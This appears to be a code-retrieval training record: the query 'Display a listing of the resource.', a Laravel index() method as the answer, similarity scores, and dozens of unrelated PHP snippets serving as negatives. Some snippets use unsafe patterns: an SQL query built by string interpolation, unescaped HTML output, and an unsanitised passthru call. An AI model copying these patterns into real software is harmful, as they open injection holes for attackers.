$this->recordOwnerId_AutoLoad = isset($xmlArr[\"ATTRIBUTES\"][\"OWNERID\"]) ? false : true;\n $this->recordGroupId_AutoLoad = isset($xmlArr[\"ATTRIBUTES\"][\"GROUPID\"]) ? false : true;\n $this->recordGroupPerm_AutoLoad = isset($xmlArr[\"ATTRIBUTES\"][\"GROUPPERM\"]) ? false : true;\n $this->recordOtherPerm_AutoLoad = isset($xmlArr[\"ATTRIBUTES\"][\"OTHERPERM\"]) ? false : true;\n }", "function getMetaInformation($conn) {\n\t$sql = \"SELECT * FROM synie_lang WHERE 1\";\n\t$results = mysql_query($sql, $conn) or die(err(\"Invalid query: \".mysql_error()));\n\t$meta = array();\n\twhile($row = mysql_fetch_assoc($results)) {\n\t\t$meta[$row['lang']] = array('rootcode' => $row['root_code'],\n\t\t\t\t\t\t\t\t 'begin' => $row['begin'],\n\t\t\t\t\t\t\t\t\t'end' => $row['end'],\n\t\t\t\t\t\t\t\t\t'nodedata' => array('name' => $row['abbr'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'meta' => array('fullname' => $row['name']),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'data' => array()));\n\t}\n\treturn $meta;\n}", "function __construct() {\n\t\t$this -> modelo = new categoriaBss();\n\t}", "function ver_buscar_mapa($fid_string=\" \",$presenta=0,$idmapa=0,$intensidad){\n \n $plantilla = new DmpTemplate(\"../../../plantillas/stakeholder/mapa/ver_mapa.html\");\n \n //echo \"intensidad : $intensidad\";\n \n if($intensidad>0){\n $plantilla->iniciaBloque(\"intensidad\");\n }\n \n $imapa = new imapa();\n \n $result1 = $imapa->get_mapa();\n \n $nombres = array();\n \n $count=0;\n \n $modo=0;\n \n $color=array(\"#B19CD9\",\"#FF6961\",\"#77DD77\",\"#CFCFC4\",\"#FDFD96\");\n \n $stroke=array(\"#966FD6\",\"#C23B22\",\"#03C03C\",\"#836953\",\"#FFB347\");\n \n while($mapa= mysql_fetch_array($result1)){\n $count++;\n \n $plantilla->iniciaBloque(\"mapa\");\n $plantilla->reemplazaEnBloque(\"idmapa\", $mapa[idgis_mapa],\"mapa\");\n $plantilla->reemplazaEnBloque(\"nombre\", $mapa[nombre],\"mapa\");\n \n if( $mapa[idgis_mapa]==$idmapa || ( $mapa[predeterminado]>0 && $idmapa==0 ) ){\n \n $plantilla->reemplazaEnBloque(\"selected\", \"selected\",\"mapa\");\n \n $plantilla->reemplaza(\"frontera\", $mapa[frontera]);\n $plantilla->reemplaza(\"enfoque\", $mapa[enfoque]);\n $plantilla->reemplaza(\"resolucion\", $mapa[resolucion]);\n $plantilla->reemplaza(\"proyeccion\", $mapa[proyeccion]);\n $plantilla->reemplaza(\"unidad\", $mapa[unidad]);\n\n $i=0;\n $nombre=\"\";\n $result2 = $imapa->get_capa_mapa($mapa[idgis_mapa]);\n while($capa= mysql_fetch_array($result2)){\n $nombre=$capa[nombre];\n $nombres[$nombre]=$nombre;\n if($modo>0){\n $plantilla->iniciaBloque(\"capa\");\n $plantilla->reemplazaEnBloque(\"i\", $i, \"capa\");\n\n $plantilla->reemplazaEnBloque(\"nombre\", $nombre, \"capa\");\n\n\n $plantilla->reemplazaEnBloque(\"proyeccion\", $capa[proyeccion], \"capa\");\n if($capa[base]>0){\n $plantilla->reemplazaEnBloque(\"base\", \"true\", \"capa\");\n }else{\n \n $plantilla->reemplazaEnBloque(\"base\", \"false\", \"capa\");\n }\n }else{\n $plantilla->iniciaBloque(\"gml\"); \n $plantilla->reemplazaEnBloque(\"i\", $i, \"gml\");\n $plantilla->reemplazaEnBloque(\"nombre\", $nombre, \"gml\");\n $plantilla->reemplazaEnBloque(\"color\", $color[($i%5)], \"gml\");\n $plantilla->reemplazaEnBloque(\"stroke\", $stroke[($i%5)], \"gml\");\n if($capa[base]>0){\n $plantilla->reemplazaEnBloque(\"base\", \"true\", \"gml\");\n }else{ \n $plantilla->reemplazaEnBloque(\"base\", \"false\", \"gml\");\n }\n } \n $i++;\n }\n $capas=\" \";\n\n foreach ($nombres as $nombre){\n $capas .= $nombre.\",\";\n }\n\n\n $capas = substr($capas, 0, -1);\n\n\n $plantilla->reemplaza(\"i\", $i);\n $plantilla->reemplaza(\"nombre\", $nombre);\n $plantilla->reemplaza(\"capas\", $capas);\n $plantilla->reemplaza(\"fid_string\", $fid_string);\n \n }\n \n \n }\n \n if($count==0){\n $plantilla = new DmpTemplate(\"../../../plantillas/stakeholder/mapa/no_mapa.html\");\n }\n \n if($presenta>0){\n $plantilla->presentaPlantilla();\n }else{\n return $plantilla->getPlantillaCadena();\n }\n \n}", "public function abono();", "public function index()\n {\n $a = new Node(1,'A',12,34,[]);\n $b = new Node(2,'B',12,34,[]);\n $c = new Node(3,'C',12,34,[]);\n $d = new Node(4,'D',12,34,[]);\n $e = new Node(5,'E',13,45,[]); \n $f = new Node(7,'F',13,45,[]); \n $g = new Node(8,'G',13,45,[]); \n $h = new Node(9,'H',13,45,[]); \n $i = new Node(12,'I',13,45,[]); \n $j = new Node(10,'J',13,45,[]); \n $k = new Node(11,'K',13,45,[]); \n $l = new Node(13,'L',13,45,[]); \n $m = new Node(14,'M',13,45,[]); \n $n = new Node(16,'N',13,45,[]); \n $p = new Node(17,'P',13,45,[]);\n\n\n $gr = new Grafo();\n $gr->Add($a);\n $gr->Add($b);\n $gr->Add($c);\n $gr->Add($d);\n $gr->Add($e);\n $gr->Add($f);\n $gr->Add($g);\n $gr->Add($h);\n $gr->Add($i);\n $gr->Add($j);\n $gr->Add($k);\n $gr->Add($l);\n $gr->Add($m);\n $gr->Add($n);\n $gr->Add($p);\n\n // A\n $gr->AddEdge($a,8,$b);\n $gr->AddEdge($b,8,$a);\n $gr->AddEdge($a,4,$e);\n $gr->AddEdge($e,4,$a);\n $gr->AddEdge($a,5,$d);\n $gr->AddEdge($d,5,$a);\n // B\n $gr->AddEdge($b,12,$e);\n $gr->AddEdge($e,12,$b);\n $gr->AddEdge($b,4,$f);\n $gr->AddEdge($f,4,$b);\n $gr->AddEdge($b,3,$c);\n $gr->AddEdge($c,3,$b);\n // C\n $gr->AddEdge($c,9,$f);\n $gr->AddEdge($f,9,$c);\n $gr->AddEdge($c,11,$g);\n $gr->AddEdge($g,11,$c);\n // F\n $gr->AddEdge($f,1,$g);\n $gr->AddEdge($g,1,$f);\n $gr->AddEdge($f,3,$e);\n $gr->AddEdge($e,3,$f);\n $gr->AddEdge($f,8,$k);\n $gr->AddEdge($k,8,$f);\n // G\n $gr->AddEdge($g,7,$l);\n $gr->AddEdge($l,7,$g);\n $gr->AddEdge($g,8,$k);\n $gr->AddEdge($k,8,$g);\n // E\n $gr->AddEdge($e,9,$d);\n $gr->AddEdge($d,9,$e);\n $gr->AddEdge($e,5,$j);\n $gr->AddEdge($j,5,$e);\n $gr->AddEdge($e,8,$i);\n $gr->AddEdge($i,8,$e);\n // D\n $gr->AddEdge($d,6,$h);\n $gr->AddEdge($h,6,$d);\n // H\n $gr->AddEdge($h,2,$i);\n $gr->AddEdge($i,2,$h);\n $gr->AddEdge($h,7,$m);\n $gr->AddEdge($m,7,$h);\n // I\n $gr->AddEdge($i,10,$j);\n $gr->AddEdge($j,10,$i);\n $gr->AddEdge($i,6,$m);\n $gr->AddEdge($m,6,$i);\n // M\n $gr->AddEdge($m,2,$n);\n $gr->AddEdge($n,2,$m);\n // J\n $gr->AddEdge($j,6,$k);\n $gr->AddEdge($k,6,$j);\n $gr->AddEdge($j,9,$n);\n $gr->AddEdge($n,9,$j);\n // K\n $gr->AddEdge($k,5,$l);\n $gr->AddEdge($l,5,$k);\n $gr->AddEdge($k,7,$p);\n $gr->AddEdge($p,7,$k);\n // L\n $gr->AddEdge($l,6,$p);\n $gr->AddEdge($p,6,$l);\n // N\n $gr->AddEdge($n,12,$p);\n $gr->AddEdge($p,12,$n);\n // P\n\n // dd($gr);\n // return $gr->MenorDistancia([INF,INF,0,INF]);\n // return $gr->Show();\n return $gr->Disjtra($a,$p);\n }", "function imdb_person ($id) {\n $this->imdb_base($id);\n }", "private function plotWithGraphviz() {\n $graphvizPath = $this->controller->configurations->get('graphvizPath');\n $graphvizBinary = $this->controller->configurations->get('graphvizBinary');\n if(! empty($graphvizPath) || empty($graphvizBinary)) {\n $output = array();\n ob_start();\n passthru($graphvizPath.$graphvizBinary.' '.$this->filename.' -Tpng ', $returnCode);\n if($returnCode) {\n throw new Exception('Couldn\\'t process relations file!');\n }\n else {\n $this->png = base64_encode(ob_get_contents());\n }\n ob_end_clean();\n }\n }", "function modificarMetodologia(){\n\t\t$this->procedimiento='gem.f_metodologia_ime';\n\t\t$this->transaccion='GEM_GEMETO_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_metodologia','id_metodologia','int4');\n\t\t$this->setParametro('codigo','codigo','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "protected function renderInformationContent() {}", "public function add_information() \r\n {}", "public function add_information() \r\n {}", "abstract protected function _regenerate();", "public function getOpengraphImage();", "public function setHistorial($datos)\n {\n }", "function affiche_image(){\n\t\tglobal $infos_id;\n\t\tif($infos_id['grade']==0){\n\t\t\treturn\"<img src='ressources/membre.png' title='Membre' alt='Membre'>\";\n\t\t}\n\t\tif($infos_id['grade']==10){\n\t\t\treturn \"<img src='ressources/users.png' title='Conseil' alt='Membre du conseil'>\";\n\t\t}\n\t\tif($infos_id['grade']==20){\n\t\t\treturn \"<img src='ressources/admin.png' title='Vice président' alt='Vice président'>\";\n\t\t}\n\t\tif($infos_id['grade']==30){\n\t\t\treturn \"<img src='ressources/boss.png' title='Président' alt='Président'>\";\n\t\t}\n\t}", "function __construct() {\r\n\t\t$this -> modelo = new facturaBss();\r\n\t\t$this -> modeloFactura = new facturaPdfBss();\r\n\t}", "function populate_network_meta($network_id, array $meta = array())\n {\n }", "public function daftar_bio($nim){\r\n\t\t$query = $this->db->query(\"SELECT m.NIM, m.Name, m.TempatLahir, m.TglLahir, m.TotalSKSLulus, m.KodeProgram, m.sex, m.Alamat1, m.Phone, m.NamaOT, m.NamaIbu, m.AlamatOT1, m.AlamatOT2, m.TelpOT, f.nama_indonesia as nmf, f.singkatan as singfak, m.KodeJurusan, j.nama_indonesia as nmj, agm.agama from _v2_mhsw m left outer join fakultas f on m.kodefakultas=f.kode left outer join _v2_jurusan j on m.kodejurusan=j.kode left outer join _v2_agama a on m.AgamaID=a.agamaID where m.NIM='$nimt' Limit 1\");\r\n\t}", "function customizeData($data, $cGen, $cName, $stripTags='y'){\n\t//for content array\n\t#setup vars\n\t#setup gender nouns\n\n#dumpDie($cName);\n#var_dump($cGen);\n\n#set up old data to new chek system\n#how to update db to unified gender vars....\n\tif($cGen == 'male'){\n\n\t\t#dumpDie($cGen);\n\t\t$cgSubjective = 'he';\n\t\t$cgObjective = 'him';\n\t\t$cgPossessive = 'his';\n\t\t$cgReflexive = 'himself';\n\n\t}else if ($cGen == 'female'){\n\t\t$cgSubjective = 'she';\n\t\t$cgObjective = 'her';\n\t\t$cgPossessive = 'hers';\n\t\t$cgReflexive = 'herself';\n\n\t}else if ($cGen == 'trans'){ #based on data for gender pronouns - transsturden.org/graphics\n\t\t$cgSubjective = 'ze';\n\t\t$cgObjective = 'zir';\n\t\t$cgPossessive = 'zirs';\n\t\t$cgReflexive = 'zirself';\n\n\t}else{\n\n\t\t$cName = ' the character ';\n\t\t#$cGen = 'it';\n\t\t$cgSubjective = 'it';\n\t\t$cgObjective = 'it';\n\t\t$cgPossessive = 'its';\n\t\t$cgReflexive = 'itself';\n\t}\n\n\n\t#Customize data based on gender assignments (we are sensitive to trans types)\n\tif($stripTags == 'y'){ $data = strip_tags($data);}\n\n\t$data = str_replace(\"XXXcNameXXX\", \t\t\t\t$cName, $data);\n\n\t$data = str_replace('XXXcGenderXXX',\t\t\t$cGen, $data);\n\n\t$data = str_replace('XXXcgSubjectiveXXX',\t$cgSubjective, $data);\n\t$data = str_replace('XXXcgObjectiveXXX',\t$cgObjective,\t $data);\n\t$data = str_replace('XXXcgPossessiveXXX',\t$cgPossessive, $data);\n\t$data = str_replace('XXXcgReflexiveXXX',\t$cgReflexive, \t$data);\n\n\t$data = trim($data);\n\n\treturn ucfirst(trim($data));\n}", "function ajarRenderDinamycBlock($attributes, $content) {\n return '<h1 class=\"my-3\">'.$attributes['content'].'</h1>'.\n '<img src=\"'.$attributes['mediaURL'].'\" alt=\"'.$attributes['mediaAlt'].'\" />'.\n '<hr>';\n}", "private function enrichWithViaf($chunk)\n {\n if (!empty($chunk['creatorViafPid'])) {\n\n // Initalise the VIAF array\n $chunk['VIAF'] = array(\n 'preferredNames' => array(),\n 'nonPreferredNames' => array(),\n 'dateOfBirth' => array(),\n 'dateOfDeath' => array(),\n 'uniqueNameVariants' => array(),\n );\n\n foreach ($chunk['creatorViafPid'] as $link) {\n\n try {\n\n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, $link . '/rdf.xml');\n curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n $rdf = curl_exec($ch);\n\n curl_close($ch);\n\n $viafData = new \\EasyRdf_Graph($link, $rdf, 'rdf');\n\n } catch (\\EasyRdf_EXception $ex) {\n\n $message = $ex->getMessage();\n\n $id = $link;\n\n $this->log(\"Couldn't load the link towards the RDF file: $id. Exception message was: $message.\");\n\n if (!empty($rdf)) {\n $this->log(\"The rdf data we've gotten was: $rdf\");\n }\n\n break;\n }\n\n // Add the \"preferredNames\" identified by skos:prefLabel\n $skosConcepts = $viafData->allOfType('skos:Concept');\n\n foreach ($skosConcepts as $skosConcept) {\n\n array_push($chunk['VIAF']['preferredNames'], $skosConcept->getLiteral('skos:prefLabel')->getValue());\n\n }\n\n // Log the amount of preferred names added from the VIAF feed\n $prefNameCount = count($chunk['VIAF']['preferredNames']);\n\n $this->log(\"Added $prefNameCount preferred names from the VIAF RDF feed.\");\n\n // Add the \"nonPreferredNames\" identified by skos:altLabel\n foreach ($skosConcepts as $skosConcept) {\n\n $literals = $skosConcept->allLiterals('skos:altLabel');\n\n foreach ($literals as $literal) {\n\n array_push($chunk['VIAF']['nonPreferredNames'], $literal->getValue());\n\n }\n\n }\n\n // Log the amount of non preferred name from the VIAF feed\n $nonPrefNamesCount = count($chunk['VIAF']['nonPreferredNames']);\n\n $this->log(\"Added $nonPrefNamesCount non preferred names from the VIAF RDF feed.\");\n\n // Add the date of birth and data of death\n $description = $viafData->resource($link);\n\n \\EasyRdf_Namespace::set('rdaGr2', 'http://rdvocab.info/ElementsGr2/');\n\n // EasyRdf lowercases all of his namespace prefixes!\n $dateOfBirth = $description->getLiteral('rdagr2:dateOfBirth');\n $dateOfDeath = $description->getLiteral('rdagr2:dateOfDeath');\n\n if (!empty($dateOfBirth)) {\n\n array_push($chunk['VIAF']['dateOfBirth'], $dateOfBirth->getValue());\n $this->log(\"Added the date of birth from the VIAF feed\");\n\n } else {\n $this->log(\"No date of birth found in the VIAF feed.\");\n }\n\n if (!empty($dateOfDeath)) {\n\n array_push($chunk['VIAF']['dateOfDeath'], $dateOfDeath->getValue());\n $this->log(\"Added the date of death from the VIAF feed\");\n\n } else {\n $this->log(\"No date of death found in the VIAF feed.\");\n }\n }\n\n // Put the unique name variants (non preferred and preferred names) into name variants\n $uniqueNameVariants = array();\n\n foreach ($chunk['VIAF']['preferredNames'] as $preferredName) {\n if (!in_array($preferredName, $uniqueNameVariants)) {\n array_push($uniqueNameVariants, $preferredName);\n }\n }\n\n foreach ($chunk['VIAF']['nonPreferredNames'] as $nonPreferredName) {\n if (!in_array($nonPreferredName, $uniqueNameVariants)) {\n array_push($uniqueNameVariants, $nonPreferredName);\n }\n }\n\n $chunk['VIAF']['uniqueNameVariants'] = $uniqueNameVariants;\n\n } else {\n\n $chunk['VIAF'] = array();\n\n $this->log(\"No creatorViafPid column was found in the data, returning data without VIAF enrichment.\");\n }\n\n return $chunk;\n }", "function unilabel_cm_info_view(\\cm_info $cm) {\n global $DB, $PAGE;\n\n $renderer = $PAGE->get_renderer('mod_unilabel');\n $unilabel = $DB->get_record('unilabel', ['id' => $cm->instance], 'id, course, name, intro, introformat, unilabeltype');\n $unilabeltype = \\mod_unilabel\\factory::get_plugin($unilabel->unilabeltype);\n if (!$unilabeltype->is_active()) {\n $unilabeltype = \\mod_unilabel\\factory::get_plugin('simpletext');\n }\n\n $content = ['content' => $unilabeltype->get_content($unilabel, $cm, $renderer)];\n\n // Add the edit link if needed.\n if ($PAGE->user_is_editing()) {\n if (has_capability('mod/unilabel:edit', $cm->context)) {\n $editlink = new \\stdClass();\n $editlink->title = get_string('editcontent', 'mod_unilabel');\n $editlink->url = new \\moodle_url('/mod/unilabel/edit_content.php', ['cmid' => $cm->id]);\n $content['editlink'] = $editlink;\n }\n }\n\n $cm->set_content($renderer->render_from_template('mod_unilabel/content', $content));\n}", "public function set_description($new) {\n\t\t\t$path = $this->git_directory_path();\n\t\t\tfile_put_contents($path.\"/description\", $new);\n\t\t}", "public function biografi()\n {\n \n $this->db->select('*');\n $this->db->from('biografi');\n \n $query = $this->db->get();\n return $query;\n }", "function setModificarJugador($id,$nombre,$url_img){\n\t$this->nombre = $nombre;\n\t$this->id = $id;\n\t$this->url_img = $url_img;\n}", "public function getBlockInfo();", "function CreateFromModifyForm() : EAvatar\n {\n $avatar= new EAvatar();\n\n $user = CSession::getUserFromSession();\n\n if(isset($_POST['nome']))\n $avatar->setNome($_POST['nome']);\n if(isset($_POST['classe']))\n $avatar->setClasse($_POST['classe']);\n if(isset($_POST['razza']))\n $avatar->setRazza($_POST['razza']);\n if(isset($_POST['livello']))\n $avatar->setLivello($_POST['livello']);\n $avatar->setProprietario($user);\n\n return $avatar;\n }" ]
[ "0.6360002", "0.6331177", "0.5881117", "0.5654905", "0.5587361", "0.54057914", "0.53914154", "0.53914154", "0.52967423", "0.5268672", "0.5268672", "0.52517444", "0.52434754", "0.52027476", "0.5201933", "0.51544875", "0.5101431", "0.5097522", "0.5077049", "0.5003239", "0.49801034", "0.49770844", "0.49663648", "0.49054846", "0.4844909", "0.48347852", "0.4833623", "0.48297912", "0.482301", "0.4820973", "0.48141485", "0.4812788", "0.47996426", "0.47953016", "0.47927883", "0.47734874", "0.47729954", "0.47519392", "0.4739822", "0.47219765", "0.47157598", "0.4713894", "0.4705508", "0.4692899", "0.46839428", "0.46829066", "0.46750858", "0.4672761", "0.46574882", "0.4652403", "0.46509528", "0.46503925", "0.4637028", "0.4634253", "0.4634041", "0.4633892", "0.4632825", "0.4624", "0.46212336", "0.46212336", "0.46207005", "0.46175927", "0.46011156", "0.4591102", "0.45886987", "0.45624843", "0.4559348", "0.4559348", "0.4549614", "0.4534328", "0.4532817", "0.45310318", "0.45286793", "0.45222118", "0.45154205", "0.45120892", "0.4511063", "0.45081818", "0.45078507", "0.45068884", "0.4494439", "0.44913772", "0.44907698", "0.44906086", "0.44906086", "0.44821072", "0.4475006", "0.44746673", "0.4473912", "0.44693127", "0.4460903", "0.4459046", "0.4455192", "0.44546863", "0.4450767", "0.44475803", "0.44456327", "0.44451073", "0.44417158", "0.4435622", "0.44350067" ]
0.0
-1
Display a listing of the resource.
public function index() { $orders = Order::all()->sortBy('updated_at'); return view('admin.orders.index', compact('orders')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = 